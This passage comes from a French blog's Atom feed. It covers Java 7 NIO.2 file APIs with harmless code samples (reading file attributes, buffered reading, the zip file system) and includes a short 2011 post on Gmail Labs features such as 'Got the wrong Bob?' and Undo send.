&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Paths&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Map&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attributes&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;attributes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Files&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;readAttributes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attributes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;keySet&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Key: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Value:&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attributes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Error: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;NIO.2 propose différentes vues des attributs d&amp;rsquo;un fichier. En effet, en fonction du système de fichiers, différentes informations peuvent être obtenues; basiques, orientées DOS, POSIX, &amp;ldquo;ACL&amp;rdquo;… À chaque vue correspond une classe et l&amp;rsquo;on peut passer une classe en paramètre de la méthode &lt;code&gt;readAttributes&lt;/code&gt; au lieu d&amp;rsquo;une chaine de caractères.&lt;/p&gt;
&lt;p&gt;Dans le cas des informations basiques sur un fichier, on peut écrire le code suivant (&lt;a href="http://download.oracle.com/javase/tutorial/essential/io/fileAttr.html"&gt;extrait de tutorial oracle&lt;/a&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...;&lt;/span&gt;
&lt;span class="n"&gt;BasicFileAttributes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Files&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;readAttributes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BasicFileAttributes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;creationTime: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;creationTime&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;lastAccessTime: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;lastAccessTime&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;lastModifiedTime: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;lastModifiedTime&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;

&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;isDirectory: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isDirectory&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;isOther: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isOther&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;isRegularFile: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isRegularFile&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;isSymbolicLink: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isSymbolicLink&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;size: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;D&amp;rsquo;autres changements interviennent également dans la manière de lire/écrire dans un fichier. Si l&amp;rsquo;on veut maintenant utiliser un &lt;code&gt;BufferedReader&lt;/code&gt;, on pourra l&amp;rsquo;instancier par le biais de la classe &lt;code&gt;Files&lt;/code&gt; (toujours elle et bientôt vous ne pourrez plus vous en passer) et en utilisant le try-with-resources cela peut donner (&lt;a href="http://download.oracle.com/javase/tutorial/essential/io/file.html"&gt;extrait de tutorial oracle&lt;/a&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Charset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;charset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Charset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;forName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;US-ASCII&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BufferedReader&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Files&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;newBufferedReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;charset&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;readLine&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;IOException: %s%n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Une interface est proposée permettant de &lt;strong&gt;parcourir un sous-arbre du filesystem&lt;/strong&gt; (&lt;a href="http://download.java.net/jdk7/docs/api/java/nio/file/FileVisitor.html"&gt;tutorial oracle&lt;/a&gt;). Grace à la méthode &lt;code&gt;Files.walkFileTree&lt;/code&gt; et à son argument de type &lt;code&gt;FileVisitor&lt;/code&gt; il est facilement possible de parcourir un sous-arbre du filesystem et d&amp;rsquo;attribuer une action à exécuter sur chaque fichier rencontré.&lt;/p&gt;
&lt;p&gt;Faire une rechercher dans un arbre et surveiller un changement sur un fichier / répertoire (&lt;em&gt;file change notification&lt;/em&gt;) sont deux tâches qui deviennent très simples avec NIO.2. Voir le tutorial d&amp;rsquo;Oracle; &lt;em&gt;&lt;a href="http://download.oracle.com/javase/tutorial/essential/io/find.html"&gt;find&lt;/a&gt; et [notification](http://download.oracle.com/javase/tutorial/essential/io/notification.html&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Pour terminer sur NIO.2, voici un tableau présentant l&amp;rsquo;évolution de IO vers NIO.2 (extrait de tutorial oracle où, là, les liens sont évidemment cliquables). On constate que la classe &lt;code&gt;File&lt;/code&gt; est délaissée au profit de la classe &lt;code&gt;Files&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Mapping IO to NIO.2" src="/images/java-nio-nio2-fromoracle.png"&gt;&lt;/p&gt;
&lt;h2&gt;Zip file system provider&lt;/h2&gt;
&lt;p&gt;Le &lt;a href="http://download.java.net/jdk7/docs/technotes/guides/io/fsp/zipfilesystemprovider.html"&gt;&lt;em&gt;zip file system provider&lt;/em&gt;&lt;/a&gt; permet de manipuler une archive zip ou jar comme un file system; je peux créer une instance de la classe &lt;em&gt;FileSystem&lt;/em&gt; à partir d&amp;rsquo;un fichier jar ou zip par le biais de la classe FileSystems.&lt;/p&gt;
&lt;p&gt;À partir de cette instance, je peux manipuler les fichiers que contient l&amp;rsquo;archive « montée ».&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;autres petites choses&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ajout d&amp;rsquo;une méthode close à la classe URLClassLoader (&lt;a href="http://download.java.net/jdk7/docs/api/java/net/URLClassLoader.html#close()"&gt;javadoc&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Des mises à jours dans le package java.util.concurrent et dans le framework collections&lt;/li&gt;
&lt;li&gt;Passage à Unicode 6.0 (mais je ne sais pas quelle version utilisait JDK6)&lt;/li&gt;
&lt;li&gt;Mise à jour de la pile XML&lt;/li&gt;
&lt;li&gt;Inclusion de la classe JXLayer à Java, qui devient javax.swing.JLayer&lt;/li&gt;
&lt;li&gt;Une nouvelle classe Objects (noter le &amp;lsquo;s&amp;rsquo;, parmi mille autres)&lt;/li&gt;
&lt;li&gt;&amp;hellip; et sans doute d&amp;rsquo;autres petites choses &amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;La javadoc&lt;/h2&gt;
&lt;p&gt;Vous l&amp;rsquo;aurez constaté si vous avez suivi les liens, la feuille de style de la javadoc a changé (et peut être d&amp;rsquo;autres choses aussi).&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Pas mal de nouveautés !&lt;/p&gt;
&lt;p&gt;Il va falloir revoir les entrées / sorties avec NIO.2 mais le code à écrire sera plus concis. Pour les améliorations du langage, on pourra s&amp;rsquo;y faire très vite parfois (&lt;em&gt;string in switch&lt;/em&gt;, &lt;em&gt;binary literals&lt;/em&gt;, &lt;em&gt;underscores in literals&lt;/em&gt;) et avec un peu plus de temps pour le reste.&lt;/p&gt;
&lt;p&gt;Pour tester, il suffit de télécharger un JDK, ouvrir gVim… et ça roule 😉&lt;/p&gt;</content></entry><entry><title>Got the wrong Bob ?</title><link href="http://blog.namok.be/2011-07-08-Got-the-wrong-Bob.html" rel="alternate"/><published>2011-07-08T00:00:00+02:00</published><updated>2011-07-08T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-07-08:/2011-07-08-Got-the-wrong-Bob.html</id><summary type="html">Got the wrong Bob ?</summary><content type="html">&lt;p&gt;&lt;a href="https://gmail.com/"&gt;GMail&lt;/a&gt; est notre ami et comme tout ami il veille sur nous. Il nous propose donc maintenant de vérifier gentiment si l&amp;rsquo;on envoie les mails à la bonne personne … les esprits chagrins diront que bientôt, c&amp;rsquo;est lui qui décidera à qui envoyer les mails … mais ce sont des esprits chagrins.&lt;/p&gt;
&lt;p&gt;Donc, GMail nous propose de vérifier si le &amp;lsquo;Bob&amp;rsquo; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; à qui on envoie un mail est bien le &amp;ldquo;bon Bob&amp;rdquo; dans notre liste de contacts (en supposant qu&amp;rsquo;il y en ai deux. Hein !). Si j&amp;rsquo;envoie un mail à mes collègues et que j&amp;rsquo;inclus Bob, GMail vérifie si le Bob que j&amp;rsquo;inclus est bien Bob, mon collègue et pas Bob mon chauffeur (!).&lt;/p&gt;
&lt;p&gt;De même je peux demander à GMail de vérifier que lorsque j&amp;rsquo;envoie un mail à &amp;ldquo;mes amis&amp;rdquo;, je n&amp;rsquo;oublie pas d&amp;rsquo;y joindre &amp;ldquo;Bob mon ami susceptible&amp;rdquo;. &lt;em&gt;Don&amp;rsquo;t forget Bob&lt;/em&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;New in Labs&lt;/strong&gt;: &lt;em&gt;&amp;ldquo;Got the wrong Bob?&amp;rdquo;&lt;/em&gt; and &lt;em&gt;&amp;ldquo;Don&amp;rsquo;t forget Bob&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Ever included Bob (your boss) instead of Bob (your friend) on an email by accident? Oops! Turn on &amp;ldquo;Got the wrong Bob?&amp;rdquo; and Gmail will check if you meant to include Bob Smith rather than Bob Jones based on the groups of people you email most often.&lt;/p&gt;
&lt;p&gt;With &amp;ldquo;Don&amp;rsquo;t forget Bob,&amp;rdquo; you can start composing an email to a group of people, and Gmail will suggest other contacts you might want to include. Check out these experimental features and more on the Labs tab under Settings.&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://mail.google.com/mail/help/about_whatsnew.html#utm_source=en-et-na-us&amp;amp;utm_medium=new-features-link&amp;amp;utm_campaign=en"&gt;mail.google.com&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;J&amp;rsquo;aurai peut-être préféré une &lt;em&gt;feature&lt;/em&gt; du style &lt;em&gt;&lt;strong&gt;Forget Bob&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Une &lt;strong&gt;autre fonctionnalité&lt;/strong&gt; permet d&amp;rsquo;ajouter un délai de quelques secondes avant l&amp;rsquo;envoi d&amp;rsquo;un mail, ceci afin de permettre un &lt;strong&gt;&lt;em&gt;undo send&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;New in Labs&lt;/strong&gt;: Undo send&lt;/p&gt;
&lt;p&gt;Oops, hit &amp;ldquo;Send&amp;rdquo; too soon? Give yourself a grace period of a few seconds to cancel sending, then edit your message before sending again. Turn it on from the Labs tab under Settings.&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://mail.google.com/mail/help/about_whatsnew.html#utm_source=en-et-na-us&amp;amp;utm_medium=new-features-link&amp;amp;utm_campaign=en"&gt;mail.google.com&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Pratique pour le &lt;em&gt;Oups, j&amp;rsquo;ai oublié un truc&lt;/em&gt; ou &lt;em&gt;Damned ! Il reste des fautes&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;En tout cas, ça bouge chez &lt;a href="http://google.be/"&gt;Google&lt;/a&gt; …&lt;/p&gt;
&lt;h4&gt;À lire aussi&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2011-03-17-Notification-d-emails-notify-mail.html"&gt;Notification d&amp;rsquo;emails notify-mail&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2009-05-27-235-facebook-et-big-brother.html"&gt;Facebook et big brother&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2009-03-05-226-nouvelle-orthographe.html"&gt;Nouvelle orthographe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2008-04-26-185-winmaildat-et-tnef.html"&gt;Winmail.dat et tnef&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;C&amp;rsquo;est toujours Bob ! … Alice, Bob, Ève … et jamais Carlos (comprenne qui pourra … deux personnes normalement)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
